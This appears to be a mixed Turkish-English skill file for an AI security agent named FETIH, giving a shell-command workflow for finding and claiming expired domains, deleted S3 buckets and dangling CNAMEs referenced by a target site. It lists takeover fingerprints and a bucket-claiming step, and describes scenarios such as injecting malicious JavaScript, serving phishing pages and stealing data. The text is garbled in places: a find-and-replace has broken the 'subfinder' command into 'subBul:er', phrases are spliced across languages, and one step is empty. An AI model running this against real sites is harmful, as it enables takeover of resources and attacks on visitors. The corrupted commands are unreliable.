Exploiting Broken Link Hijacking

---
name: exploiting-broken-link-hijacking
description: Discover and exploit broken link hijacking vulnerabilities by identifying references to expired domains, decommissioned cloud resources, and dead external services that can be claimed by an
  attacker.
tags:
- broken-link-hijacking
- dead-link
- supply-chain
- blh
- fetih
- expired-domain
- web-application-security
- cybersecurity
- subdomain-takeover
- external-resource
- siber-güvenlik
triggers:
- CSRF
- SQL injection
- XSS
- broken
- cloud
- container
- dns
- exploit
- exploiting
- hijacking
- http
- link
category: web-application-security
source_subdomain: web-application-security
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
adapted_for: fetih
---

# Exploiting Broken Link Hijacking


## Ne Zaman Kullanılır
- auditing yaparken web applications for references to expired or unclaimed external resources
- During supply chain security assessments of third-party script and resource dependencies
- testing yaparken for subdomain takeover opportunities via dangling CNAME records
- During bug bounty hunting for broken link hijacking vulnerabilities
- assessing yaparken the security of external resource dependencies in production applications

## Ön Gereksinimler
- Web crawler or spider for discovering all external links (Burp Suite Spider, Scrapy)
- DNS lookup tools for checking CNAME records and domain availability
- Domain registrar access for claiming expired domains (as proof of concept)
- Understanding of CDN and cloud service provisioning (S3, Azure Blob, GitHub Pages)
- blc (broken-link-checker) or similar tool for automated link validation
- Bilgi: services vulnerable to subdomain takeover (can-i-take-over-xyz)


> **Legal Notice:** bu skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## İş Akışı

### Adım 1 — Crawl and Extract All External References
```bash
npx broken-link-checker http://target.com --recursive --ordered \
  --exclude-internal --filter-level 3 -o broken_links.txt

curl -s http://target.com | grep -oP 'https?://[^"'"'"'\s>]+' | sort -u > all_links.txt

curl -s http://target.com | grep -oP 'src="[^"]*"' | grep -v target.com > external_scripts.txt

curl -s http://target.com | grep -oP 'href="[^"]*\.css"' | grep -v target.com > external_css.txt

curl -s "https://web.archive.org/web/timemap/link/http://target.com" | \
  grep -oP 'https?://[^>]+' | sort -u > historical_links.txt

```

### Adım 2 — Identify Dead or Claimable Resources
```bash
for domain in $(cat external_domains.txt); do
  whois $domain 2>/dev/null | grep -qi "no match\|not found\|available" && \
    echo "[CLAIMABLE] $domain"
done

while read url; do
  status=$(curl -o /dev/null -s -w "%{http_code}" "$url" --max-time 5)
  if [ "$status" = "000" ] || [ "$status" = "404" ]; then
    echo "[DEAD] $url (Status: $status)"
  fi
done < all_links.txt

for sub in $(cat subdomains.txt); do
  cname=$(dig +short CNAME $sub)
  if [ -n "$cname" ]; then
    resolved=$(dig +short $cname)
    if [ -z "$resolved" ]; then
      echo "[DANGLING] $sub -> $cname (UNRESOLVED)"
    fi
  fi
done

aws s3 ls s3://target-assets 2>&1 | grep -q "NoSuchBucket" && echo "[CLAIMABLE] S3: target-assets"
```

### Adım 3 — Check Service-Specific Takeover Possibilities
```bash
curl -s https://subdomain.target.com | grep -q "There isn't a GitHub Pages site here"

curl -s http://subdomain.target.com | grep -q "NoSuchBucket"

curl -s http://subdomain.target.com | grep -q "The specified container does not exist"

curl -s http://subdomain.target.com | grep -q "No such app"

curl -s http://subdomain.target.com | grep -q "Sorry, this shop is currently unavailable"

subjack -w subdomains.txt -c fingerprints.json -t 100 -o takeover_candidates.txt

subBul:er -d target.com -silent | nuclei -t http/takeovers/ -o takeovers.txt
```

### Adım 4 — Verify External Script Hijacking
```bash
curl -s http://target.com | grep -oP 'src="https?://([^/"]+)' | \
  cut -d'/' -f3 | sort -u | while read domain; do
    whois "$domain" 2>/dev/null | grep -qi "no match\|available" && \
      echo "[HIJACKABLE SCRIPT] $domain loaded by target.com"
  done

curl -s http://target.com | grep -oP 'unpkg\.com/[^@/]+' | sort -u
curl -s http://target.com | grep -oP 'cdn\.jsdelivr\.net/npm/[^@/]+' | sort -u

```

### Adım 5 — Exploit the Broken Link (Authorized Testing Only)
```bash
aws s3 mb s3://target-expired-bucket --region us-east-1


echo "<html><body><h1>Broken Link Hijacking PoC - [Your Name]</h1></body></html>" > index.html
```

### Adım 6 — Assess Impact and Report
```bash

```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Broken Link Hijacking | Claiming control of external resources referenced by target website |
| Dangling CNAME | DNS CNAME record pointing to unclaimed or decommissioned service |
| Subdomain Takeover | Claiming a subdomain by provisioning the service its CNAME points to |
| External Script Hijacking | Registering expired domains that serve JavaScript loaded by target |
| Supply Chain Attack | Compromising external dependencies to inject malicious content |
| Dead Link | URL reference returning 404 or DNS resolution failure |
| Resource Fingerprinting | Identifying specific cloud services from error messages and headers |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| broken-link-checker | Automated broken link discovery via web crawling |
| subjack | Subdomain takeover Tespit tool |
| nuclei | Template-based takeover Tespit scanner |
| can-i-take-over-xyz | Community database of services vulnerable to takeover |
| BadDNS | DNS auditing tool for Tespit etme domain/subdomain takeovers |
| Wayback Machine | Historical URL analysis for discovering past external references |

## Common Scenarios

1. **JavaScript Supply Chain** — Register expired domain that serves JavaScript loaded by target; inject malicious code affecting all visitors
2. **S3 Bucket Takeover** — Claim deleted AWS S3 bucket referenced by target; serve malicious content or steal uploaded data
3. **GitHub Pages Hijack** — Create GitHub Pages repository matching dangling CNAME to serve phishing pages on target subdomain
4. **Social Media Impersonation** — Claim unclaimed social media handles linked from target website for brand impersonation
5. **CDN Package Hijack** — Claim deprecated npm packages referenced via CDN URLs to inject malicious JavaScript

## Output Format

```
## Broken Link Hijacking Report
- **Target**: http://target.com
- **Total External Links**: 145
- **Dead Links**: 12
- **Hijackable Resources**: 3

### Bul:ings
| # | Resource | Type | Status | Impact |
|---|----------|------|--------|--------|
| 1 | analytics.expired-domain.com | JavaScript | Domain available | Full XSS |
| 2 | assets.target.com -> S3 bucket | Static assets | Bucket deleted | Content injection |
| 3 | blog.target.com -> GitHub Pages | Subdomain | No GitHub repo | Subdomain takeover |

### İyileştirme
- Remove references to decommissioned external resources
- Delete dangling CNAME records for unused subdomains
- Implement Subresource Integrity (SRI) for external scripts
- Regularly audit external dependencies for availability
- Use Content Security Policy to restrict allowed script sources
```

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: b2cbf6c0a08a09d2
-->